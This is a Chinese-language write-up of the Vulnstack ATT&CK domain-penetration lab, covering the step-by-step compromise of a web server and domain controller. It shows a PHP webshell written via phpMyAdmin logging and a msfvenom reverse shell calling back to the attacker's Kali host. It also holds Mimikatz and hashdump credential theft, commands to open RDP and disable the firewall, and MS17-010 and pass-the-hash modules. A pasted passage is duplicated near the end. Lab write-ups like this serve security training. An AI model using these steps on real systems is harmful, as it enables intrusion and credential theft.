ATTCK实战系列-Vulnstack三层网络域渗透靶场(一)

news2024/11/15 23:53:45

ATT&CK实战系列-Vulnstack三层网络域渗透靶场(一)

  • 一、环境搭建
    • 1.1 靶场拓扑图
    • 1.2 靶场下载链接
    • 1.3 虚拟机配置
      • 1.3.1 Windows 7 (web服务器)
      • 1.3.2 Windows 2008 (域控)
      • 1.3.3 Win2k3 (域内主机)
  • 二、外网打点突破
    • 2.1 信息搜集
    • 2.2 phpmyadmin 后台 Getshell
      • 2.2.1 尝试select into outfile直接写入
      • 2.2.2 尝试开启全局日志getshell
    • 2.3 yxcms后台上传Getshell
  • 三、内网搜集
    • 3.1 靶机上线CS
    • 3.2 内网信息搜集
    • 3.3 rdp远程登陆win7
  • 四、内网渗透
    • 4.1 反弹win7的shell
    • 4.2 MSF简单利用
    • 4.3 添加路由
    • 4.4 内网端口扫描
    • 4.5 MSF进行ms17-010攻击(未成功)
      • 4.5.1 msf扫描模块探测是否存在ms17-010漏洞
      • 4.5.2 漏洞利用
    • 4.6 哈希传递攻击(PTH)拿下域控
      • 4.6.1 CS哈希传递攻击利用
      • 4.6.2 MSF哈希传递攻击

一、环境搭建

1.1 靶场拓扑图

在这里插入图片描述

1.2 靶场下载链接

靶场下载链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

1.3 虚拟机配置

VMnet3为内网网卡,VMnet8为外网网卡

请添加图片描述
ip配置:

kali (攻击机):192.168.111.128 (VMnet8 网卡分配的IP) 

Windows 7 (web服务器):192.168.111.132(外网和kali连通)、192.168.52.143(内网ip)
Windows 2008 (域控):192.168.52.138 
Win2k3 (域内主机):192.168.52.141

1.3.1 Windows 7 (web服务器)

192.168.111.132(外网和kali连通)、192.168.52.143(内网ip)
在这里插入图片描述
在这里插入图片描述

在主机上访问win7,可以正常访问到PHP探针,配置完成
在这里插入图片描述

1.3.2 Windows 2008 (域控)

192.168.52.138 ,默认配置完成

在这里插入图片描述

1.3.3 Win2k3 (域内主机)

192.168.52.141,默认配置完成

在这里插入图片描述

二、外网打点突破

2.1 信息搜集

首先访问web服务器win7的模拟外网ip–192.168.111.132

在外网站点有一个MySQL数据库连接:
在这里插入图片描述
尝试弱口令:root/root,显示连接正常,但是没有利用点
在这里插入图片描述
对192.168.111.132进行端口扫描,目录扫描

在这里插入图片描述
在这里插入图片描述

访问:http://192.168.111.132/phpMyAdmin,使用刚检测到的弱口令:root/root进行登录
在这里插入图片描述
在这里插入图片描述
可以看到还有一个newyxcms数据库,对应会有一个网站

2.2 phpmyadmin 后台 Getshell

phpmyadmin后台getshell的常用手段有以下几种方式:(挨个尝试)

1、select into outfile直接写入
2、开启全局日志getshell
3、使用慢查询日志getsehll
4、使用错误日志getshell
5、利用phpmyadmin4.8.x本地文件包含漏洞getshell

2.2.1 尝试select into outfile直接写入

执行sql语句: show variables like '%secure%';
在这里插入图片描述

发现没有写入权限,无法用select into outfile方法写入shell。

2.2.2 尝试开启全局日志getshell

先执行命令:show variables like '%general%'; 查看日志状态:
在这里插入图片描述
当开启 general_log 时,所执行的 SQL 语句都会出现在datastu1.log 文件中。修改 general_log_file 的值为一个php文件,进而可 Getshell

开启 general_log 日志 SET GLOBAL general_log='on'

指定日志写入到网站根目录的1.php 文件

SET GLOBAL general_log_file='C:/phpStudy/www/1.php'

在这里插入图片描述
设置完成之后,写入webshell到1.php文件中

执行 SQL 语句:SELECT '<?php eval($_POST["cmd"]);?>',即可将一句话木马写入 1.php 文件中
在这里插入图片描述
访问http://192.168.111.132/1.php 成功写入
在这里插入图片描述
使用蚁剑连接
在这里插入图片描述
连接成功
在这里插入图片描述

2.3 yxcms后台上传Getshell

在之前数据库中发现了yxcms的数据库,猜想会有yxcms网站,在拿下phpmyadmin后可以看到yxcms目录
访问/yxcms,在公告信息处,发现yxcms的后台登录路径以及用户名密码
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

登录成功!
登录到后台一般先找模板编辑的地方,然后写入一句话木马,直接getshell
在这里插入图片描述
刚好这里有模板文件,尝试新建或者在原有的模板文件中写入一句话木马,这里我选择新建一个模板文件中写入保存。
在这里插入图片描述
保存后,接下来就是找到写入文件1.php所在的路径,进行目录扫描

在这里插入图片描述
发现好多目录,这里我们发现这个cms存在目录遍历漏洞,根据phpmyadmin后台的地址也可以得到

在这里插入图片描述
在这里插入图片描述

连接成功!

三、内网搜集

我们在拿到的shell 执行 whoami 发现是administrator权限

在这里插入图片描述

3.1 靶机上线CS

在kali里 ./teamserver 192.168.111.128 root 运行cs服务

在这里插入图片描述
主机运行CS 客户端并连接 CS 服务端,配置好listener监听器之后,生成 exe后门程序

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

利用蚁剑 把生成的artifact.exe 上传到靶机上

在这里插入图片描述
在蚁剑终端里执行 artifact.exe 可以看到靶机上线到CS上

在这里插入图片描述
在这里插入图片描述

上线成功!

在CS客户端使用 Mimikatz 直接抓取本机用户密码:

在这里插入图片描述
这里抓取到密码之后,我们执行 net view 发现了域内另外俩台机器点击这里可以看到
在这里插入图片描述
在这里插入图片描述
可以利用抓取到的密码 psexec取login一下 监听器选 windows_smb/bind_pipe

在这里插入图片描述

在这里插入图片描述

可以看到域控的文件 我们可以进行上传文件操作,我们下面再看看其他方法 横向移动拿到域控和域内其他机器

3.2 内网信息搜集

接下来我们要做的就是信息收集,为之后的杀入内网做准备,

ipconfig /all   # 查看本机ip,所在域
route print     # 打印路由信息
arp -a          # 查看arp缓存
net start       # 查看开启了哪些服务
net share       # 查看开启了哪些共享
net share ipc$  # 开启ipc共享
net view                 # 查看局域网内其他主机名
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)

1、先判断是否存在域,使用 shell ipconfig /all 查看 DNS 服务器,发现主 DNS 后缀不为空,存在域god.org

在这里插入图片描述

也可以执行命令net config workstation 来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息
在这里插入图片描述

2、上面发现 DNS 服务器名为 god.org,当前登录域为 GOD 再执行net view /domain查看有几个域(可能有多个)

3、查看域的组账户信息(工作组)

在这里插入图片描述

4、既然只有一个域,那就利用 net group “domain controllers” /domain 命令查看域控制器主机名,直接确认域控主机的名称为 OWA

在这里插入图片描述
5、确认域控主机的名称为 OWA 再执行 net view 查看局域网内其他主机信息(主机名称、IP地址)
在这里插入图片描述

扫描出来 除了域控OWA 之外,还有一台主机ROOT-TVI862UBEH

至此内网域信息收集完毕,已知信息:域控主机:192.168.52.138,同时还存在一台域成员主机:192.168.52.141,接下来的目标就是横向渗透拿下域控

3.3 rdp远程登陆win7

Win7跳板机 默认是不开启3389的,同时还有防火墙

#注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

#添加防火墙规则
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389

#关闭防火墙
netsh firewall set opmode disable   			#winsows server 2003 之前
netsh advfirewall set allprofiles state off 	#winsows server 2003 之后

在这里插入图片描述
这里我们以域用户 administrator登录。
输入我们刚从CS上 mimikatz dump下来的密码Hongrisec@2019
在这里插入图片描述

在这里插入图片描述

远程连接成功!

四、内网渗透

4.1 反弹win7的shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=1111 -f exe -o shell.exe #kali里生成msf后门文件 shell.exe
在这里插入图片描述
蚁剑上传到 win7上

在这里插入图片描述

kali里运行监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.111.128
set lport 1111
exploit 

在这里插入图片描述
蚁剑运行 shell.exe 得到meterpreter

在这里插入图片描述
在这里插入图片描述

4.2 MSF简单利用

获得 MSF 的会话后即可使用 MSF 集成的诸多强大功能模块和脚本。简单演示下,如调用post/windows/gather/checkvm判断靶机是否属于虚拟机(检查是否进入了蜜罐);

再如调用 post/windows/gather/enum_applications模块枚举列出安装在靶机上的应用程序;
在这里插入图片描述

4.3 添加路由

# 可以用模块自动添加路由
run post/multi/manage/autoroute
#添加一条路由
run autoroute -s 192.168.52.0/24
#查看路由添加情况
run autoroute -p

在这里插入图片描述

4.4 内网端口扫描

先执行background 命令将当前执行的 Meterpreter 会话切换到后台(后续也可执行sessions -i 重新返回会话),然后使用 MSF 自带 auxiliary/scanner/portscan/tcp 模块扫描内网域成员主机 192.168.52.141 开放的端口:

background
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.141
set ports 80,135-139,445,3306,3389
run

在这里插入图片描述

得知:192.168.52.141 win2003域成员机开启了 135、139、445端口

同理扫描一下域控

在这里插入图片描述

域控开启了80、135、139、445端口

4.5 MSF进行ms17-010攻击(未成功)

4.5.1 msf扫描模块探测是否存在ms17-010漏洞

对于开启了 445 端口的 Windows 服务器肯定是要进行一波永恒之蓝扫描尝试的,借助 MSF 自带的漏洞扫描模块进行扫描:

search ms17_010
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.52.141
set rhosts 192.168.52.138
run

在这里插入图片描述

域控和成员机可能都存在ms17-010漏洞

4.5.2 漏洞利用

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp #内网环境,需要正向shell连接
set rhosts 192.168.52.138
run

利用失败

在这里插入图片描述

4.6 哈希传递攻击(PTH)拿下域控

上面既然通过永恒之蓝漏洞难以获得域控主机的 Shell,那就换一种攻击思路拿下域控吧,下面演示的是通过哈希传递攻击 PTH 拿下域控主机。

【哈希传递攻击】在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机,操作简单、威力无穷。

在域环境中,利用哈希传递攻击的渗透方式往往是这样的:

1. 获得一台域主机的权限,Dump 内存获得该主机的用户密码 Hash 值;
2. 通过哈希传递攻击尝试登录其他主机;
3. 继续搜集 Hash 并尝试远程登录,直到获得域管理员账户 Hash,登录域控,最终成功控制整个域。

下面使用 Metasploit/CS 来进行本靶场环境的进行 PTH 攻击演示:

4.6.1 CS哈希传递攻击利用

前面我们也有提到过,在win7 上线CS时,我们可以右键会话 ->执行 -> Run Mimikatz
直接借助 CS 进行用户哈希凭证窃取,详情见3.1

4.6.2 MSF哈希传递攻击

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.111.128
set lport 1111
exploit 
run windows/gather/smart_hashdump    #来进行hashdump

在这里插入图片描述
如果权限低,需要SYSTEM权限,可以直接getsystem 发现可以正常提权
提到SYSTEM权限之后再执行 run windows/gather/smart_hashdump

得到管理员的密码的hash

[+]Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+]liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

但是这个只是用户密码的一个hash值,我们在msf里加载mimikatz模块
ps:ms6中 mimikatz模块已经合并为kiwi模块

load kiwi

creds_all  #列举所有凭据
creds_kerberos  #列举所有kerberos凭据
creds_msv  #列举所有msv凭据
creds_ssp  #列举所有ssp凭据
creds_tspkg  #列举所有tspkg凭据
creds_wdigest  #列举所有wdigest凭据
dcsync  #通过DCSync检索用户帐户信息
dcsync_ntlm  #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create  #创建黄金票据
kerberos_ticket_list  #列举kerberos票据
kerberos_ticket_purge  #清除kerberos票据
kerberos_ticket_use  #使用kerberos票据
kiwi_cmd  #执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam  #dump出lsa的SAM
lsa_dump_secrets  #dump出lsa的密文
password_change  #修改密码
wifi_list  #列出当前用户的wifi配置文件
wifi_list_shared  #列出共享wifi配置文件/编码

抓取用户hash
在这里插入图片描述

获得 NTLM Hash:4f1a2b2cf1dd79ae22a7f198412d7e51,在 Metasploit 中,经常使用于哈希传递攻击的模块有:

auxiliary/admin/smb/psexec_command   #在目标机器上执行系统命令
exploit/windows/smb/psexec           #用psexec执行系统命令
exploit/windows/smb/psexec_psh       #使用powershell作为payload

以exploit/windows/smb/psexec模块哈希传递攻击 Windows Server 2008 为例:

use exploit/windows/smb/psexec
set rhosts 192.168.52.138
set smbuser administrator
set smbpass 00000000000000000000000000000000:4f1a2b2cf1dd79ae22a7f198412d7e51
set smbdomain god
run

攻击失败

可以在CS里通过 PTH psexec成功拿下域控

min/smb/psexec_command   #在目标机器上执行系统命令
exploit/windows/smb/psexec           #用psexec执行系统命令
exploit/windows/smb/psexec_psh       #使用powershell作为payload

以exploit/windows/smb/psexec模块哈希传递攻击 Windows Server 2008 为例:

use exploit/windows/smb/psexec
set rhosts 192.168.52.138
set smbuser administrator
set smbpass 00000000000000000000000000000000:4f1a2b2cf1dd79ae22a7f198412d7e51
set smbdomain god
run

攻击失败

换一种方式:可以CS里通过 PTH psexec成功拿下域控
在这里插入图片描述
成功!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2160237.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

netfilter和iptables--netfilter源码篇

netfilter和iptables–netfilter源码篇 防火墙是保护服务器和基础设施的重要工具&#xff0c;在Linux系统下&#xff0c;目前广泛使用的防火墙工具是iptables&#xff0c;但实际进行规则实施并产生实际作用的是Netfilter&#xff0c;iptables与内核中的netfilter框架中Hook协同…

❤Node11-登录人token信息接口

❤Node11-登录人token信息接口​ 上一章我们已经从登录部分拿到了用户的登录jwt返回的token信息&#xff0c;接下来我们就通过token来换取用户信息 这里我们可以将其理解为一种加密以及解密的思想来思考这个jwt和token的关系&#xff0c;token就是一个加密的字符串&#xff0c…

【JavaEE】——内存可见性问题

阿华代码&#xff0c;不是逆风&#xff0c;就是我疯&#xff0c;你们的点赞收藏是我前进最大的动力&#xff01;&#xff01;希望本文内容能够帮助到你&#xff01; 目录 一&#xff1a;内存可见性问题 1&#xff1a;代码解释 2&#xff1a;结果分析 &#xff08;1&#xf…

《现代畜牧兽医》是什么级别的期刊?是正规期刊吗?能评职称吗?

​问题解答 问&#xff1a;《现代畜牧兽医》是不是核心期刊&#xff1f; 答&#xff1a;不是&#xff0c;是知网收录的第一批认定 学术期刊。 问&#xff1a;《现代畜牧兽医》级别&#xff1f; 答&#xff1a;省级。主管单位&#xff1a;辽宁省科学技术协会 …

vue2实现提取字符串数字并修改数字样式(正则表达式)

如果你要在循环中提取 item.companyName 中的数字&#xff0c;并且希望为这些数字改变颜色和边距&#xff0c;可以对每个 item 进行处理。此处是一个实现示例&#xff1a; <template> <div> <div class"box" v-for"(item, index) in coldBase…

学校气膜体育馆:低成本、高效率的灵活运动空间—轻空间

在当前教育设施的升级中&#xff0c;传统体育馆的建设往往面临长时间、高成本、以及繁琐的审批流程等诸多挑战。然而&#xff0c;学校无需再为这些问题烦恼&#xff0c;只需选择气膜结构的体育馆&#xff0c;就能快速、高效地解决体育场地需求。气膜体育馆凭借其灵活的设计和高…

Java项目实战II基于SSM的国外摇滚乐队交流和周边售卖系统的设计与实现(开发文档+数据库+源码)

目录 一、前言 二、技术介绍 三、系统实现 四、文档参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者 一、前言 随着互联网技术的飞速发展&#xff0c;信息传播的广度和深度不断拓展&#xff0c;为各行业的创新发展…

二分查找算法(4) _搜索插入位置

个人主页&#xff1a;C忠实粉丝 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 C忠实粉丝 原创 二分查找算法(4) _搜索插入位置 收录于专栏【经典算法练习】 本专栏旨在分享学习算法的一点学习笔记&#xff0c;欢迎大家在评论区交流讨论&#x1f48c; 目录 …

太爱这5本书了,建议所有大模型人去翻烂它❗

要说现在最热门的技术&#xff0c;可谓非大模型莫属&#xff01; 不少小伙伴都想要学习大模型技术&#xff0c;转战AI领域&#xff0c;以适应未来的大趋势&#xff0c;寻求更有前景的发展~~ 然而&#xff0c;在学习大模型技术这条道路上&#xff0c;却不知道如何进行系统的学…

无人机飞手培训校企合作特训技术详解

随着无人机技术的飞速发展&#xff0c;其在航拍、农业、测绘、救援等多个领域的应用日益广泛&#xff0c;市场对高素质无人机飞手的需求急剧增加。为满足这一需求&#xff0c;促进教育与产业深度融合&#xff0c;无人机飞手培训校企合作模式应运而生。本文将从确定合作目标、共…

可视化大屏看阿里,阿里出品,必属精品。

阿里云有自己的可视化平台——dataV&#xff0c;经常会出一些高颜值、强交互的大屏&#xff0c;本期为大家分享一波。

HTML、CSS

初识web前端 web标准 Web标准也称为网页标准&#xff0c;由一系列的标准组成&#xff0c;大部分由W3C (World Wide Web Consortium&#xff0c;万维网联盟) 负责制定。三个组成部分: HTML: 负责网页的结构(页面元素和内容)。CSS: 负责网页的表现(页面元素的外观、位置等页面样…

Tableau|一入门

一 什么是BI工具 BI 工具即商业智能&#xff08;Business Intelligence&#xff09;工具&#xff0c;是一种用于收集、整理、分析和展示企业数据的软件系统&#xff0c;其主要目的是帮助企业用户更好地理解和利用数据&#xff0c;以支持决策制定。 主要功能&#xff1a; 1.数据…

Vue3使用通信组件库mitt作为事件总线实现跨组件通信

mitt 介绍: Mitt 是一个在 Vue.js 应用程序中使用的小型事件总线库。该库允许组件进行通信&#xff0c;而不必过度依赖父级或子级组件之间的 props。 先看项目用例&#xff1a; 【 以下转载自&#xff1a;https://blog.csdn.net/yuanlong12178/article/details/139579299 】…

虚拟机安装xubuntu

新建一个新的虚拟机&#xff0c;选择自定义安装 默认下一步 选择稍后安装操作系统 选择所要创建的系统及版本 填写虚拟机的名称及创建的虚拟机保存的位置 选择处理器和内核的数量 处理器数量指的是&#xff1a;虚拟的CPU数量。 每个处理器的内核数量指的是&#xff1a;虚拟CPU…

Ubuntu 24.04.1 LTS 安装 node 16.20.2环境

目录 step1&#xff1a;确认版本 step2&#xff1a;选择方式 step3&#xff1a;二进制文件安装 step1&#xff1a;确认版本 不同的版本情况可能有稍许不同&#xff0c;尽可能环境安装前版本保持一致&#xff1b; lsb_release -a 或者 cat /etc/os-release 可以查看版本信…

【机器学习】---元强化学习

目录 1. 元学习简介1.1 什么是元学习&#xff1f;1.2 元学习的应用 2. 强化学习基础2.1 什么是强化学习&#xff1f;2.2 强化学习的基本框架2.3 深度强化学习 3. 元强化学习的概念与工作原理3.1 元强化学习是什么&#xff1f;3.2 元强化学习与普通强化学习的区别 4. 元强化学习…

Arthas ognl(执行ognl表达式)

文章目录 二、命令列表2.1 jvm相关命令2.1.12 ognl&#xff08;执行ognl表达式&#xff09;举例1&#xff1a;获取静态属性举例2&#xff1a;调用静态方法 二、命令列表 2.1 jvm相关命令 2.1.12 ognl&#xff08;执行ognl表达式&#xff09; 使用场景&#xff1a; Arthas 的 …

【Vue系列五】—Vue学习历程的知识分享!

前言 本篇文章讲述前端工程化从模块化到如今的脚手架的发展&#xff0c;以及Webpack、Vue脚手架的详解&#xff01; 一、模块化 模块化就是把单独的功能封装到模块&#xff08;文件&#xff09;中&#xff0c;模块之间相互隔离&#xff0c;但可以通过特定的接口公开内部成员…

黑马智数Day2

表单基础校验实现 基础双向绑定 v-model <el-input v-model"formData.username" /> <script> export default {name: Login,data() {return {formData: {username: ,password: ,remember: }}} } </script> 表单校验配置 按照业务要求编写校验规…